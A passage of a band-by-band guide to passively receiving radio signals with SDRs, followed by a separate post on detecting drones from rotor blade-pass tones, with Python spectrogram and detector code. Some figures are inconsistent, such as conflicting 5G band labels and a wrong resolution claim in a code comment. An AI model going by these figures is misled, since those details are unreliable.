Maritime distress (historical): 500 kHz was the international maritime distress frequency until 1999 (ITU). Ships maintained a radio watch on 500 kHz; a distress signal (SOS in Morse) on this frequency was the universal maritime emergency call. The frequency is now largely silent for this purpose, replaced by GMDSS (Global Maritime Distress and Safety System) using DSC on VHF and MF DSC.

MF DSC: 2,187.5 kHz is the international MF Digital Selective Calling distress frequency. Ships transmit DSC alerts on this frequency; coast stations maintain watch. Receivable with a general-coverage receiver and a simple wire antenna.

2,182 kHz: The international radiotelephone distress and calling frequency. A 3-minute silence period was maintained on this frequency in the maritime community until the GMDSS era.

NAVTEX: 518 kHz (international, English-language), 490 kHz (national language services). 8-bit SITOR-B protocol. Freely receivable with a short antenna and a software decoder (GNU Radio, Multimon-ng, or purpose-built NAVTEX software).

Amateur 160m band (1.8–2.0 MHz EU, 1.8–2.0 MHz US)

The “top band” — 160 metres — is the HF band that behaves most like MF. Ground wave propagation extends to a few hundred kilometres; sky wave at night supports contacts of 3,000+ km. The band is heavily affected by atmospheric noise, which limits receiver sensitivity (the noise floor is set by atmospheric QRN rather than the receiver’s noise figure). Antenna efficiency is very low at 1.8 MHz for any physically reasonable antenna, making 160m operation a niche within amateur radio.

SDR accessibility: The full MF band is directly receivable with RTL-SDR V3, HackRF, SDRplay, or any general-coverage receiver. A long wire antenna (20+ metres) provides good sensitivity; a magnetic loop or ferrite rod works for portable operation.

HF — High Frequency (3–30 MHz, λ = 10–100 m)

HF is the band of ionospheric propagation — the ability to bounce signals off the ionosphere’s reflective layers and achieve worldwide coverage from a single transmitter at a few tens of watts. It is arguably the most important band in the history of radio, the last band that is essentially uncontrollable (anyone with a wire can listen anywhere in the world), and the richest hunting ground for passive RF monitoring.

Ionospheric propagation

The ionosphere is a region of partially ionised gas at 60–400 km altitude, sustained by solar ultraviolet and X-ray radiation. It consists of distinct layers:

D layer (60–90 km): Present only during daylight. Strongly attenuates signals below approximately 10 MHz — this is why AM medium-wave sky wave disappears during the day. The D layer absorbs rather than reflects lower HF.

E layer (90–130 km): Present during the day, weaker at night. Supports short-skip propagation at lower HF frequencies. Sporadic-E (Es) events — unpredictable intense patches of ionisation — produce strong propagation on VHF bands at 50–100 MHz, sometimes extending to 144 MHz.

F1 layer (130–210 km): Daytime only. Merges with F2 after sunset.

F2 layer (210–400 km): The primary HF propagation layer, present day and night (though weakened at night). Maximum electron density determines the critical frequency (foF2) — the highest frequency that is reflected vertically. Typical daytime foF2 at mid-latitudes: 5–10 MHz (solar minimum) to 10–15 MHz (solar maximum). Night-time: 3–6 MHz. These values vary significantly with latitude, season, and the 11-year solar cycle.

The Maximum Usable Frequency (MUF) for a given path:

MUF = foF2 × sec(θ)

where θ is the angle of incidence at the F2 layer. For long-distance paths (several thousand km), the angle θ is large and MUF can be 2–3× the vertical critical frequency. A typical long-path MUF for a transatlantic 5,000 km path might be 20–28 MHz during solar maximum.

The skip zone is the region around a transmitter within which sky-wave signals cannot be received. Signals that leave the antenna at angles above the critical angle return to Earth at distances beyond the skip zone; signals below the critical angle are absorbed by the D layer. The skip zone creates a “blind spot” of typically 500–2,000 km radius that moves with frequency — lower frequencies have larger skip zones.

Near-Vertical Incidence Skywave (NVIS): Antennas tilted nearly straight up produce signals that reflect from the F1/F2 layer almost directly overhead, providing regional coverage (100–500 km) with no skip zone. Used extensively for military tactical HF communications in mountainous or jungle terrain where other propagation modes fail.

HF allocations of interest

Shortwave broadcasting (3.2–26.1 MHz): Multiple allocated bands carry international broadcasting — BBC World Service, Voice of America, Radio France Internationale, Deutsche Welle, and dozens of others, now substantially reduced from Cold War levels. Schedule databases (EIBI, Aoki) list active transmissions.

Amateur HF bands (EU allocations):

Military HF: Significant amounts of encrypted HF remain on-air — military nets using STANAG 4285 (9,600 bps PSK-8), STANAG 4538 (BW3 waveform), MIL-STD-188-110B (up to 64,000 bps), and variants. The waveforms are identifiable from their spectrograms and modulation analysis even when the content is encrypted. NATO ECCM (Electronic Counter-Counter-Measures) nets use frequency-hopping ECCM systems that spread transmissions across 30+ MHz in millisecond bursts.

Numbers stations: Unacknowledged shortwave stations transmitting streams of numbers (or letters, or tones) in apparent cipher. Believed to be operated by intelligence agencies for communication with agents. The Lincolnshire Poacher (E03), Gong Station (M12), UVB-76 (“Buzzer,” S28) — many are still active. The PRIYOM collective documents active transmissions. The signals are freely receivable; the content is not.

Over-the-horizon radar (OTHR): HF radar systems use ionospheric reflection to detect surface and air targets at ranges of 1,000–3,000 km, far beyond line-of-sight. Identifiable by their distinctive chirped waveforms that sweep rapidly across tens of MHz. The JORN (Jindalee Operational Radar Network) in Australia and similar Russian systems occupy considerable HF spectrum.

HF data links: ALE (Automatic Link Establishment, MIL-STD-188-141) is ubiquitous on military and government HF — a short tone-burst handshake sequence used to establish a channel before voice or data. ALE messages include callsigns and can be decoded freely with PC-ALE or similar software.

SDR accessibility: The HF band is the richest for passive monitoring and directly receivable with any wideband SDR. RTL-SDR V3 direct-sampling mode covers roughly 500 kHz–24 MHz (the 28.8 MHz crystal oscillator creates a strong spur around that frequency; avoid tuning near it). HackRF, SDRplay RSP1A, Airspy HF+, and the KiwiSDR cover HF well. A 10–30 metre wire antenna is all that’s needed for reliable worldwide reception.

VHF — Very High Frequency (30–300 MHz, λ = 1–10 m)

VHF marks the transition from sky-wave to line-of-sight propagation. The ionosphere is largely transparent at VHF under normal conditions — signals travel in straight lines from transmitter to receiver, limited by the visual (radio) horizon. This makes VHF ideal for regional broadcasting and communications while limiting range for any given transmitter.

Propagation mechanisms at VHF

Tropospheric ducting: Under temperature inversion conditions — warm air above cool — the troposphere can act as a waveguide, channelling VHF signals over distances of hundreds to thousands of kilometres. Ducting events on 144 MHz across the North Sea between the UK and Scandinavia are well-documented.

Sporadic-E: Unpredictable intense ionisation in the E layer (90–130 km) that reflects VHF signals. Events on 50 MHz (6m) are common; events on 144 MHz (2m) occur several times per year in summer in Europe. During strong Es events, 144 MHz contacts of 2,000+ km are possible for hours.

Aircraft scatter, meteor scatter, auroral propagation: All relevant for weak-signal VHF work, primarily of interest to amateur radio operators.

VHF allocations

FM broadcasting (87.5–108 MHz, EU): 200 kHz channel spacing. FM stereo (pilot tone at 19 kHz, DSB stereo subchannel at 38 kHz) plus RDS (Radio Data System) at 57 kHz subcarrier carrying programme information. Trivially receivable with any SDR.

VHF aviation (108–137 MHz):

• 108–118 MHz: VOR (VHF Omnidirectional Range) navigation beacons. Each transmits a reference phase signal (30 Hz omnidirectional) and a rotating directional signal; the phase difference between them indicates bearing to the station. Receivable with an SDR and decodable with software like VOR decoder or rtl_fm piped to a VOR decoder.
• 108–112 MHz: ILS (Instrument Landing System) localiser. Guides aircraft onto the runway centreline.
• 112–118 MHz: VOR (navigation).
• 118–137 MHz: VHF Air Band, AM voice. International standard is AM (not FM) for aviation. Air Traffic Control communications — approach, tower, ground, ATIS — are all in the clear and freely receivable. FlightAware and similar services aggregate these via distributed receiver networks.

NOAA APT satellites (137–138 MHz): Three operational NOAA POES satellites transmit weather imagery continuously in APT format at 137.1, 137.62, and 137.9125 MHz. Receivable with a simple V-dipole, an RTL-SDR, and Noaa-apt or WXtoImg software. Each visible pass (roughly 5–15 minutes overhead) produces a 2 km/pixel infrared/visible image.

Marine VHF (156–174 MHz): 25 kHz FM channels. Channel 16 (156.8 MHz) is the international distress and calling channel — continuously monitored by all vessels and coast stations. AIS (Automatic Identification System) transmits on channels 87B (161.975 MHz) and 88B (162.025 MHz) — TDMA transmissions carrying vessel identity, position, speed, and course. AIS is freely decodable with an SDR and a tool like RTL-AIS or AIS-catcher. The data feeds AIS aggregators (MarineTraffic, VesselFinder) via thousands of volunteer receivers.

Amateur 6m (50–52 MHz EU) and 2m (144–146 MHz EU): The primary VHF amateur bands.

SDR accessibility: VHF is the sweet spot for RTL-SDR V3 — well within the direct reception range, strong signals from broadcast and aviation, simple antennas work well. A simple half-wave dipole cut for any VHF frequency is sufficient for most purposes.

UHF — Ultra High Frequency (300 MHz–3 GHz, λ = 10 cm–1 m)

UHF carries the majority of modern consumer wireless communications: cellular networks, WiFi, GPS, drone control links, Bluetooth, satellite navigation. It is also the most densely allocated part of the spectrum and the most challenging to monitor comprehensively given the sheer variety of signals present.

Propagation at UHF

Line-of-sight dominates, with multipath reflections from buildings, terrain, and atmospheric boundary layers contributing significantly in urban environments. Rain attenuation begins to be significant above 5 GHz; at UHF it remains negligible. Fresnel zone clearance (the ellipsoid around the direct path within which energy is concentrated) requires larger clearance distances than at lower frequencies for the same path performance.

Notable UHF allocations

433 MHz ISM band (433.05–434.79 MHz, EU): The band of consumer wireless sensors, car key fobs, weather station transmitters, and cheap RC equipment. OOK (On-Off Keying) and FSK modulations dominate. All are freely receivable and most are decodable with rtl_433.

868 MHz ISM band (863–870 MHz, EU): LoRa IoT sensors, LoRaWAN gateways, ExpressLRS drone control links, SigFox. The 1% duty cycle limit applies to most sub-bands.

GPS constellation:

• L1: 1,575.42 MHz — primary civil signal (C/A code, L1C on newer satellites)
• L2: 1,227.60 MHz — precision signal (encrypted P(Y) code, L2C on newer satellites)
• L5: 1,176.45 MHz — safety-of-life signal, new generation

GPS signals are receivable but at approximately −130 dBm — well below the noise floor of any SDR at normal bandwidth. GPS receivers use 2 dBi antennas and extremely narrow correlation bandwidths to achieve the required sensitivity; passive reception with an SDR requires specialised software and integration over thousands of code periods.

ADS-B (1,090 MHz): Extended Squitter Mode S transponder transmissions carrying aircraft position, velocity, identity, and flight status. One pulse every second per aircraft. Decodable with dump1090, readsb, or dump1090-mutability. Range depends on antenna height and aircraft altitude — a roof-mounted antenna at 10 m reaches the geometric radio horizon at approximately 205 NM for a cruising aircraft at 35,000 ft — limited by line-of-sight geometry rather than signal strength.

Cellular (GSM/LTE/5G Sub-6):

• 700 MHz band (LTE Band 28): 703–748 MHz UL, 758–803 MHz DL
• 800 MHz band (LTE Band 20): 832–862 MHz UL, 791–821 MHz DL
• 900 MHz band (GSM/LTE Band 8): 880–915 MHz UL, 925–960 MHz DL
• 1,800 MHz band (GSM/LTE Band 3): 1,710–1,785 MHz UL, 1,805–1,880 MHz DL
• 2,100 MHz band (UMTS/LTE Band 1): 1,920–1,980 MHz UL, 2,110–2,170 MHz DL
• 2,600 MHz band (LTE Band 7): 2,500–2,570 MHz UL, 2,620–2,690 MHz DL

GSM voice has been substantially replaced by VoLTE (Voice over LTE) in most European networks. LTE downlink is receivable with an SDR but decoding requires the network’s crypto keys unless monitoring in an environment with your own equipment.

2.4 GHz ISM band (2,400–2,500 MHz): WiFi 802.11b/g/n/ax (14 channels, 20/40 MHz wide), Bluetooth (79 channels, 1 MHz wide, FHSS), Zigbee, Z-Wave, DJI OcuSync drone video and control, microwave ovens (2,450 MHz). The most congested 100 MHz of spectrum in modern life. WiFi channels 1, 6, and 11 are non-overlapping; channels 1 and 6 occupy 2,401–2,423 MHz and 2,426–2,448 MHz respectively.

DJI DroneID (2.4 GHz FHSS): Consumer DJI drones broadcast Remote ID frames — serial number, GPS position, pilot location, altitude — every second in the EU as mandated by Commission Implementing Regulation (EU) 2019/947. Receivable with a HackRF and the gr-dji-droneid GNU Radio block.

SDR accessibility: UHF up to approximately 1.766 GHz is directly receivable with RTL-SDR V3. 2.4 GHz and above requires HackRF, SDRplay RSP2, or Airspy R2. Directional antennas (patch, Yagi, helix) are practical at UHF frequencies due to manageable physical size.

SHF — Super High Frequency (3–30 GHz, λ = 1–10 cm)

SHF is the microwave band. Line-of-sight propagation is the rule; antenna gain from practical dishes and arrays becomes substantial (a 30 cm dish at 10 GHz achieves approximately 25 dBi gain). Rain attenuation becomes a design consideration above approximately 10 GHz.

Radar

Radar systems are the dominant SHF occupant in terms of power and geographical coverage.

S-band (2–4 GHz): Weather radar. The EU network of C-band and S-band weather radars (OPERA composite) covers the continent. Waveform: pulsed, with pulse widths of 1–5 μs and PRFs of 250–1,200 Hz. Range: 200–300 km. The NEXRAD system in the US operates at 2.7–3.0 GHz. Emissions are identifiable by their characteristic rotating scan pattern and range-ambiguity structure.

C-band (4–8 GHz): Satellite uplinks (C-band FSS), weather radar (Météo-France uses C-band at 5.625–5.725 GHz), some airborne weather radar.

X-band (8–12 GHz): Airborne weather and terrain mapping radar, ship navigation radar, some fire control radar. Maritime X-band navigation radar (9.3–9.5 GHz) is the characteristic “rotating radar” visible at harbours. The characteristic chirped waveform is identifiable in a waterfall.

Ku-band (12–18 GHz):

• Satellite TV downlink: 10.7–12.75 GHz (BSS, FSS)
• Satellite internet downlink (Ku FSS): 10.7–12.75 GHz
• Starlink user terminal: 10.7–12.7 GHz down, 14.0–14.5 GHz up
• Ku-band radar: AESA radars in many modern combat aircraft

Ka-band (26.5–40 GHz):

• Satellite broadband (Ka FSS): 17.7–21.2 GHz down, 27.5–30 GHz up
• Automotive radar: 24.0–24.25 GHz (older systems, being phased out)
• 5G mmWave: 26.5–29.5 GHz (EU n258 band, FR2)

WiFi at 5 and 6 GHz

• 5 GHz WiFi (802.11a/n/ac/ax): 5.15–5.85 GHz, 20/40/80/160 MHz channels
• 6 GHz WiFi (802.11ax): 5.925–7.125 GHz, new in Wi-Fi 6E/7

SDR accessibility: SHF reception requires specialised hardware. RTL-SDR tops out at 1.766 GHz; HackRF reaches 6 GHz with degraded performance above 4 GHz; dedicated microwave LNBs (Low-Noise Block downconverters) for satellite TV can be repurposed — a standard Ku-band LNB has an LO at 9.75 or 10.6 GHz and outputs to an L-band IF of 950–2,150 MHz, directly receivable by a standard SDR.

EHF — Extremely High Frequency (30–300 GHz, λ = 1–10 mm)

Millimetre waves. At these frequencies, atmospheric absorption becomes the dominant propagation constraint. Two strong absorption peaks define the practical windows:

Atmospheric absorption lines:

The 60 GHz oxygen absorption peak (~15 dB/km) makes practical link ranges short — typically 50–200 m for gigabit-class systems — and makes interception from a distance considerably more difficult. The attenuation provides a degree of natural geometric isolation that lower frequencies cannot replicate. 60 GHz unlicensed WiGig (802.11ad/ay) exploits this for multi-gigabit short-range links.

Transmission windows: Practical EHF communication uses the atmospheric transmission windows — bands between the absorption peaks where attenuation is tolerable:

• 35 GHz (Ka): 0.1 dB/km
• 77 GHz (W-band): 0.3 dB/km
• 94 GHz (W-band): 0.3 dB/km
• 140 GHz (D-band): 0.5 dB/km

5G mmWave

The 5G FR2 (Frequency Range 2) bands at 24.25–52.6 GHz provide multi-gigabit throughput over short distances (tens to hundreds of metres). Practical deployment uses:

• n257: 26.5–29.5 GHz (EU), primary European mmWave 5G band
• n258: 24.25–27.5 GHz
• n261: 27.5–28.35 GHz (US)
• n260: 37–40 GHz (US)

Beamforming (phased array antennas with hundreds of elements) is essential at mmWave — the antenna must steer the beam toward the user device dynamically. A single 5G mmWave base station typically manages 512–1,024 antenna elements.

Automotive radar (77–79 GHz)

Modern vehicle radar uses 76–77 GHz (LRR, Long Range Radar) and 77–81 GHz (SRR, Short Range Radar). FMCW (Frequency Modulated Continuous Wave) modulation — the transmitted frequency sweeps linearly while the received echo is mixed with the current transmitted signal, producing a beat frequency proportional to target distance. Doppler shift of the beat frequency gives radial velocity.

The 79 GHz band (76–81 GHz) has been standardised for automotive use by ETSI EN 302 264; effective radiated power limits are 55 dBm EIRP.

Passive remote sensing and radiometry

EHF is the regime of passive microwave remote sensing. Satellites observe natural thermal emission from the Earth’s surface and atmosphere at EHF frequencies — the emitted brightness temperature encodes surface temperature, soil moisture, sea ice extent, precipitation, and atmospheric water vapour. AMSR-E (on Aqua), SSMIS (on DMSP), and similar instruments operate at frequencies including 6.9, 10.7, 18.7, 23.8, 36.5, and 89 GHz.

SDR accessibility: Standard SDR hardware does not reach EHF. Microwave test equipment (VNAs, spectrum analysers) covers this range, as do purpose-built mmWave receivers. LNBs for Ka-band (26.5 GHz range) and experimental W-band mixer/downconverter modules are available for hobbyist use but represent specialist equipment.

Cross-band comparison

A note on legality

In the Netherlands and the EU generally: receiving unencrypted transmissions passively is fine for personal research. Broadcasting, aviation, maritime, navigation — these are meant to be received by anyone. Encrypted content is a different matter; you can receive it but that’s where it stops. If you’re not sure about something specific, the Telecommunicatiewet is the relevant Dutch law.

Most of what’s on the air is just sitting there, waiting to be decoded.

Multirotor drones make a distinctive noise — you can detect them by the blade pass frequency even when you can't see them. This post covers the signal processing side: how to extract that signature from microphone data, what the limits are, and where acoustic detection makes sense versus where it doesn't.

Every multirotor drone produces a characteristic acoustic signature determined by the number, geometry, and rotation speed of its rotors. This signature has a predictable tonal structure — a series of harmonically related frequency peaks — that is stable enough to identify a drone at range, distinguish it from other noise sources, and in some cases differentiate between drone models. The signal processing chain that makes this possible is standard DSP with a few domain-specific considerations.

The physical basis of multirotor acoustics, the signal processing from raw audio to detection, and a working Python implementation. No neural networks, no trained classifiers — the goal is to understand the structure of the problem before applying pattern recognition.

The physics of multirotor acoustics

A rotating blade generates sound through two mechanisms: tonal (periodic) and broadband (stochastic).

Tonal components arise from the periodic pressure disturbance created by each blade passing a fixed point in space. The fundamental frequency of this disturbance is the blade pass frequency (BPF):

BPF = N_blades × RPM / 60   [Hz]

where N_blades is the number of blades per rotor and RPM is the rotor speed. A multirotor with multiple rotors produces multiple BPF tones — one per distinct rotor speed, since in a standard quadrotor two rotors spin clockwise and two counter-clockwise at nominally the same RPM, but manufacturing tolerances and differential thrust commands produce small differences.

The BPF tone is accompanied by a harmonic series at integer multiples: BPF, 2×BPF, 3×BPF, .... The relative amplitude of the harmonics depends on the blade geometry and aerodynamic loading; the first few harmonics (BPF through 4×BPF) are typically the strongest.

Typical BPF values for common platforms:

The BPF varies with throttle — higher throttle → higher RPM → higher BPF. During hover the BPF is relatively stable; during manoeuvres it sweeps across a range of frequencies. This produces a characteristic frequency-time track in a spectrogram: a line that rises during acceleration and falls during deceleration, with harmonics visible as parallel lines at integer multiples of the fundamental.

Broadband components arise from turbulence in the rotor wake and blade-surface boundary layer separation. They produce elevated noise across a broad frequency range (typically 200 Hz to 20 kHz) without tonal structure. This broadband floor is the hardest component to distinguish from background noise and limits detection at long range.

Motor electrical tone (for brushless ESC-driven motors): the motor commutation frequency produces an additional tonal component:

f_elec = (N_pole_pairs × RPM) / 60   [Hz]

A 12N14P motor (7 pole pairs) at 10,000 RPM: f_elec = 7 × 10,000 / 60 ≈ 1,167 Hz. This is typically much higher than BPF and may fall in a noisier part of the spectrum, but can serve as a secondary confirmation tone for short-range detection.

The acoustic signal chain

Rotor noise → air propagation → microphone → ADC → DSP → detection

Microphone and ADC selection

Any microphone and ADC capable of sampling at ≥48 kHz and covering 100 Hz–5 kHz with flat frequency response is adequate. Consumer-grade USB microphones (MEMS or electret capsule, 16-bit, 44.1/48 kHz) capture the first several BPF harmonics of any drone in the relevant RPM range.

Considerations:

• Omnidirectional capsule for monitoring without knowing the drone’s direction; cardioid or directional to reduce wind noise and ground clutter at the cost of coverage angle
• Wind screen is essential outdoors — wind turbulence over the capsule produces broadband noise that masks the drone signature below ~500 Hz and can completely swamp the BPF tones for most hovering drones
• Self-noise floor of the microphone determines the minimum detectable source level; typical MEMS microphones have self-noise around 25–30 dB(A) SPL, limiting detection range in quiet environments

Acoustic propagation — signal level vs range

Sound pressure level decreases with distance following the inverse square law in free-field conditions:

SPL(r) = SPL(r₀) − 20·log₁₀(r/r₀)   [dB re 20 μPa]

where r₀ is a reference distance (typically 1m from the source) and r is the measurement distance.

Representative drone source levels at 1m (from published measurements):

At 100m range: SPL = 76 − 20·log₁₀(100) = 76 − 40 = 36 dBA. Ambient noise in a quiet rural environment is approximately 25–35 dBA; suburban is 45–55 dBA. A DJI Mini 3 Pro is audible at 100m in very quiet conditions, masked by suburban background noise.

Practical acoustic detection range for common drones with a standard microphone at ambient noise of 45 dBA:

Detection when: SPL(r) ≥ ambient + minimum SNR
SPL(1m) − 20·log₁₀(r) ≥ 45 + 6   [6 dB SNR minimum for reliable detection]
r ≤ 10^((SPL(1m) − 51) / 20)

These numbers are pessimistic — signal processing gain (coherent integration, harmonic stacking) can improve effective SNR by 10–15 dB, extending practical detection ranges to 50–400m depending on the drone and environment. They also assume omnidirectional noise; real wind noise is often much higher than the ambient SPL figure, compressing the detection range further.

Wind is the dominant practical limit. Above Beaufort 2 (light breeze, ~3 m/s), wind noise at an unshielded microphone typically exceeds 50 dBA and masks all but the loudest drones at short range. Acoustic detection in outdoor environments is most effective in near-calm conditions or with directional, wind-baffled microphones.

Signal processing chain

1. Windowed FFT — spectral resolution and leakage

The Discrete Fourier Transform (DFT) of a finite-length signal assumes the signal is periodic with a period equal to the analysis window length. When a sinusoidal component does not fall exactly on a DFT bin, energy leaks into adjacent bins — spectral leakage — which can obscure nearby tones and raise the apparent noise floor.

The solution is a window function applied to the time-domain block before the FFT. Different windows trade spectral leakage against frequency resolution:

For drone BPF detection:

• Blackman-Harris is the best choice for harmonic analysis: its −92 dB side-lobe level prevents strong noise components from masking nearby BPF tones, even at the cost of wider main lobes (reduced frequency resolution)
• Hann is adequate for most applications and is a reasonable default

Frequency resolution of the FFT:

Δf = fs / N_fft   [Hz per bin]

where fs is the sample rate and N_fft is the FFT length. To resolve BPF harmonics separated by as little as 10 Hz (e.g., two rotors running at slightly different RPM), we need Δf ≤ 5 Hz. At fs = 44,100 Hz:

N_fft ≥ fs / Δf = 44,100 / 5 = 8,820

Round up to the next power of two: N_fft = 16,384 → Δf = 44,100 / 16,384 ≈ 2.69 Hz/bin. This gives sufficient resolution to resolve individual motor tones.

Time resolution of the FFT:

T_frame = N_fft / fs = 16,384 / 44,100 ≈ 371 ms

One FFT frame covers 371 ms of audio — fine for detecting hovering drones but slow to track BPF changes during rapid manoeuvres. For tracking dynamic frequency changes, shorter FFTs with more overlap are needed (handled by the STFT).

2. Short-Time Fourier Transform (STFT)

The STFT applies the windowed FFT repeatedly on overlapping frames, producing a time-frequency representation — the spectrogram. The tradeoff between time and frequency resolution is fundamental (analogous to the Heisenberg uncertainty principle for signals):

Δt × Δf ≥ 1   [time-frequency uncertainty]

For drone monitoring, a practical STFT configuration at 44.1 kHz sample rate:

import numpy as np
from scipy.signal import stft, blackmanharris
import matplotlib.pyplot as plt

def compute_drone_spectrogram(
    audio: np.ndarray,
    fs: int = 44100,
    nperseg: int = 8192,     # FFT length — 186 ms frame at 44.1 kHz
    noverlap: int = 7168,    # 7/8 overlap → 23 ms hop → 43 Hz time resolution
    fmax: float = 5000.0,    # upper frequency limit
    db_range: float = 60.0   # dynamic range for display
):
    """
    Compute a time-frequency spectrogram optimised for drone BPF detection.
    
    nperseg=8192, noverlap=7168:
      Δf = 44100/8192 ≈ 5.4 Hz (resolves ≥ 2 Hz separated harmonics)
      hop = 8192−7168 = 1024 samples → Δt ≈ 23 ms
    """
    window = blackmanharris(nperseg)

    freqs, times, Zxx = stft(
        audio,
        fs       = fs,
        window   = window,
        nperseg  = nperseg,
        noverlap = noverlap,
    )

    # Power spectral density in dBFS
    Sxx = 20 * np.log10(np.abs(Zxx) + 1e-12)

    # Limit to fmax
    freq_mask = freqs <= fmax
    freqs_cut = freqs[freq_mask]
    Sxx_cut   = Sxx[freq_mask, :]

    return freqs_cut, times, Sxx_cut

3. Noise floor estimation and normalisation

A drone spectrogram against a real outdoor background has a non-uniform noise floor: wind and traffic produce high energy at low frequencies, while the mid-band (500 Hz–3 kHz) is typically quieter. Normalising the spectrogram against a per-frequency noise floor estimate makes tonal drone features stand out:

def normalise_spectrogram(Sxx: np.ndarray, percentile: float = 20.0) -> np.ndarray:
    """
    Subtract a per-frequency noise floor estimate from the spectrogram.
    The noise floor is estimated as the Nth percentile of power over time.
    Percentile 20% works well for intermittent sources like drones.
    """
    # Noise floor: low percentile along time axis for each frequency bin
    noise_floor = np.percentile(Sxx, percentile, axis=1, keepdims=True)
    return Sxx - noise_floor  # normalised excess power

After normalisation, tonal components appear as bright horizontal ridges at constant frequencies (for hovering drones) or diagonal streaks (for drones accelerating/decelerating).

4. Harmonic product spectrum — BPF detection

Given a normalised spectrogram, the Harmonic Product Spectrum (HPS) detects the fundamental frequency of a harmonic series by multiplying the spectrum with downsampled copies of itself:

def harmonic_product_spectrum(
    spectrum: np.ndarray,
    n_harmonics: int = 4
) -> np.ndarray:
    """
    Compute the Harmonic Product Spectrum (HPS) for fundamental frequency detection.
    
    HPS[f] = S[f] × S[2f] × S[3f] × ... × S[n×f]
    
    The fundamental frequency of a harmonic series (e.g., BPF) appears as a strong
    peak in HPS even when individual harmonics are weak against background noise.
    """
    hps = spectrum.copy()
    for h in range(2, n_harmonics + 1):
        # Downsample spectrum by factor h
        downsampled = spectrum[::h][:len(hps) // h]
        hps[:len(downsampled)] *= downsampled
    return hps

Applied to each STFT frame, HPS produces a time series of estimated fundamental frequencies. A drone in hover shows a stable HPS peak at its BPF; a drone accelerating shows a smoothly rising HPS peak.

5. Complete detection pipeline

import numpy as np
import sounddevice as sd
from scipy.signal import stft, blackmanharris
import collections

FS          = 44100
NPERSEG     = 8192
NOVERLAP    = 7168
BPF_MIN     = 80    # Hz — minimum expected BPF (large slow drone)
BPF_MAX     = 1200  # Hz — maximum expected BPF (small fast quad at full throttle)
SNR_THRESH  = 10.0  # dB — HPS peak must exceed noise floor by this amount
N_HARMONICS = 4
HISTORY_LEN = 20    # frames — require consistent BPF over this many frames


def live_drone_detector(duration: float = 30.0):
    """
    Live acoustic drone detector. Records from default microphone and prints
    detections in real time.
    """
    hop    = NPERSEG - NOVERLAP
    n_samp = int(FS * duration)
    buffer = np.zeros(NPERSEG)  # sliding window

    freqs = np.fft.rfftfreq(NPERSEG, 1.0 / FS)
    bpf_mask = (freqs >= BPF_MIN) & (freqs <= BPF_MAX)
    bpf_freqs = freqs[bpf_mask]

    bpf_history = collections.deque(maxlen=HISTORY_LEN)
    window      = blackmanharris(NPERSEG)

    def process_frame(frame: np.ndarray):
        """Process one STFT frame."""
        windowed = frame * window
        spectrum = 20 * np.log10(np.abs(np.fft.rfft(windowed)) + 1e-12)

        # Noise floor estimate (mean of lowest 30% of bins in BPF range)
        bpf_spec  = spectrum[bpf_mask]
        noise_est = np.percentile(bpf_spec, 30)
        excess    = bpf_spec - noise_est  # excess power above noise

        # Harmonic product spectrum in BPF range
        hps = excess.copy()
        for h in range(2, N_HARMONICS + 1):
            ds = excess[::h]
            hps[:len(ds)] += ds  # add in log domain = multiply in linear

        # Find peak in HPS
        peak_idx  = np.argmax(hps)
        peak_val  = hps[peak_idx]
        peak_freq = bpf_freqs[peak_idx]

        return peak_freq, peak_val

    print(f"Monitoring for {duration:.0f}s. BPF range: {BPF_MIN}–{BPF_MAX} Hz.")
    print("Waiting for consistent drone signature...")

    with sd.InputStream(samplerate=FS, channels=1, dtype='float32') as stream:
        for _ in range(n_samp // hop):
            chunk, _ = stream.read(hop)
            chunk     = chunk[:, 0]

            # Slide buffer
            buffer    = np.roll(buffer, -hop)
            buffer[-hop:] = chunk

            freq, snr = process_frame(buffer)
            bpf_history.append((freq, snr))

            # Detection: consistent BPF and sufficient SNR
            if len(bpf_history) == HISTORY_LEN:
                freqs_h = [x[0] for x in bpf_history]
                snrs_h  = [x[1] for x in bpf_history]
                freq_std = np.std(freqs_h)
                mean_snr = np.mean(snrs_h)

                if mean_snr > SNR_THRESH and freq_std < 15.0:
                    mean_freq = np.mean(freqs_h)
                    print(f"[DETECT] BPF = {mean_freq:.1f} Hz  "
                          f"SNR = {mean_snr:.1f} dB  "
                          f"stability = ±{freq_std:.1f} Hz")


if __name__ == "__main__":
    live_drone_detector(duration=60.0)

The detection logic requires both signal strength (mean_snr > SNR_THRESH) and frequency stability (freq_std < 15 Hz). Wind gusts and passing vehicles can produce brief bursts of energy in the BPF range that trigger false alarms; requiring the estimated BPF to be consistent over 20 consecutive frames (≈ 460 ms) eliminates most transients.

Spectrogram visualisation and interpretation

import librosa
import librosa.display
import matplotlib.pyplot as plt

def plot_drone_spectrogram(audio_file: str):
    """
    Plot a drone audio spectrogram with BPF annotation.
    """
    y, sr = librosa.load(audio_file, sr=44100, mono=True)

    # STFT with Blackman-Harris window
    D  = librosa.stft(y, n_fft=8192, hop_length=1024,
                      window='blackmanharris', center=True)
    DB = librosa.amplitude_to_db(np.abs(D), ref=np.max)

    fig, axes = plt.subplots(2, 1, figsize=(14, 8), height_ratios=[3, 1])

    # Spectrogram (0–2000 Hz)
    librosa.display.specshow(
        DB, sr=sr, hop_length=1024, x_axis='time', y_axis='hz',
        fmax=2000, cmap='inferno', ax=axes[0]
    )
    axes[0].set_title('Drone acoustic spectrogram — Blackman-Harris window, Δf = 5.4 Hz')
    axes[0].set_ylabel('Frequency (Hz)')

    # Mean spectrum (time-averaged power)
    mean_spectrum = np.mean(DB, axis=1)
    freqs_axis    = librosa.fft_frequencies(sr=sr, n_fft=8192)
    mask_2k       = freqs_axis <= 2000
    axes[1].plot(freqs_axis[mask_2k], mean_spectrum[mask_2k], color='#00ff88', linewidth=0.8)
    axes[1].set_xlabel('Frequency (Hz)')
    axes[1].set_ylabel('Mean power (dBFS)')
    axes[1].set_xlim(0, 2000)
    axes[1].grid(True, alpha=0.2)

    # Annotate harmonics if BPF is known
    bpf_example = 325  # Hz — example for DJI Mini 3 Pro at hover
    for h in range(1, 6):
        f = bpf_example * h
        if f <= 2000:
            axes[0].axhline(f, color='cyan', linewidth=0.5, alpha=0.6)
            axes[1].axvline(f, color='cyan', linewidth=0.5, alpha=0.6,
                           label=f'BPF×{h} = {f} Hz' if h == 1 else f'×{h}')

    axes[1].legend(fontsize=8, loc='upper right')
    plt.tight_layout()
    plt.savefig('drone_spectrogram.png', dpi=150)
    plt.show()

What to look for in a drone spectrogram:

• Horizontal lines at regular frequency intervals: the BPF harmonic series. If the drone is hovering stably, these are perfectly horizontal (constant frequency). In a quiet environment, the first 3–4 harmonics are typically visible above the noise floor.
